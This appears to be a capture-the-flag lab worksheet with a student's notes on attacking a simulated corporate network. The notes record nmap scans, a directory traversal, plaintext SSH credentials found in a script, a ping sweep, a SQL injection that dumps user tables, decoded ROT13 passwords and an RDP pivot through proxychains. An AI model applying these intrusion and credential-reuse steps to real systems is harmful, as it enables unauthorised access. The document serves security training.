CCTC Security

OPERATION Dry Run

horizontal line

23JANUARY **20**20 / 0800 / CTF 109

# Tasking

All actions must be in accordance with mission brief, scope, and RoE.

Complete the taskings on each referenced target below.

Each heading is the hostname of a target. The first listed target’s hostname is “PublicFacingWebsite”.

# 

# PublicFacingWebsite

## Perform Reconnaissance

1. Find all information about, and contained within, the target system to include potential phishing targets, website directory structure, and hidden pages.

CEO Email – Cchaplann@UniversalExports.com

HR/PAO - PublicAffairs@TargetCorp.com

1. Actively scan and interact with target to find potential attack vectors.

## Attempt Exploitation || Gain Initial Access

1. Use information gained from reconnaissance to gain access to the system.

## Find Additional Targets

1. Perform post-exploitation tasks (situational awareness, localhost enumeration, etc).
2. Discover additional targets through analysis of information from post-exploitation tasks.

## Pivot to Found Targets

1. Pivot through network to other targets as you find them.

# NOTES

* Does not respond to ICMP
* Multiple text boxes/input fields
* File Upload avaialable
* nmap -sT -Pn 10.50.26.77 -p- PORTS: 22(ssh) 80(http)
* 80/tcp open http  
  | http-enum:   
  | /login.php: Possible admin folder  
  | /login.html: Possible admin folder  
  | /img/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'  
  |\_ /scripts/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'

/index.html  
 - letterfromceo.pdf  
/careers.html  
/getcareers.php --> GET request – directory traversal

* from 10.50.26.77/scripts --> development.py  
  system\_user=user2  
  user\_password=EaglesIsARE78  
  user2::EaglesIsARE78 --> valid SSH creds  
   not root
* cat *etc/hosts  
   192.168.28.181 WebApp*
* for i in {1..254}; do (ping -c 1 192.168.28.$i | grep “bytes from” &);done  
   192.168.28.172 --> 22 & 7008 no banner  
   192.168.28.181 --> 22 & 80 (no http-enum)  
   **192.168.28.190**

# 

# BestWebApp

## Perform Reconnaissance

1. Find all information about, and contained within, the target system to include potential phishing targets, website directory structure, and hidden pages.
2. Actively scan and interact with target to find potential attack vectors.

## Attempt Exploitation

1. Attempt to retrieve privileged information from the target by using information found in reconnaissance. Reconnaissance from other targets within the network may have information relevant to any target.

# NOTES

* IP = 192.168.28.181
* nmap – port 22 & 80 open, http-enum no results
* mysql get page with radio buttons  
  product =7 is vulnerable  
  sql injection  
  customer || id, name,account,category  
  net\_products || id,quantity,product,price  
  purchase\_history || id,quantity,product,account  
  shippingdates || id,ordernumber,account,date  
  users || user\_id, name,username  
   1 Aaron Aaron  
   2 user2 user2  
   3 user3 user3  
   4 Lee\_Roth Lroth  
   1 Aaron ncnffjbeqlCn$$jbeq  
   2 user2 RntyrfVfNER78  
   3 user3 Obo4GURRnccyrf  
   4 Lroth anotherpassword4THEages  
   highlighted passwords were ROT13 encoded

# RoundSensor

## Perform Reconnaissance

1. Actively scan and interact with target to find potential attack vectors.

## Attempt Exploitation || Gain Initial Access

1. Use information gained from reconnaissance to gain access to the system. Reconnaissance from other targets within the network may have information relevant to any target.

## Find Additional Targets

1. Perform post-exploitation tasks (situational awareness, localhost enumeration, privilege escalation, etc).
2. Discover additional targets through analysis of information from post-exploitation tasks.

## Pivot to Found Targets

1. Pivot through network to other targets as you find them.

# NOTES

* [Aaron@192.168.28.172](mailto:Aaron@192.168.28.172)::apasswordPa$$word
* scan from here --> 192.168.28.172 --> RDP is open

# 

# indows-Workstation

## Perform Reconnaissance

1. Actively scan and interact with target to find potential attack vectors.

## Attempt Exploitation || Gain Initial Access

1. Use information gained from reconnaissance to gain access to the system. Reconnaissance from other targets within the network may have information relevant to any target.

## Find Additional Targets

1. Perform post-exploitation tasks (situational awareness, localhost enumeration, privilege escalation, etc).
2. Discover additional targets through analysis of information from post-exploitation tasks.

## Pivot to Found Targets

1. Pivot through network to other targets as you find them.

# NOTES

* proxychains xfreerdp /v:192.168.28.179:3389 /u:Lroth /p:anotherpassword4THEages +clipboard
* services.msc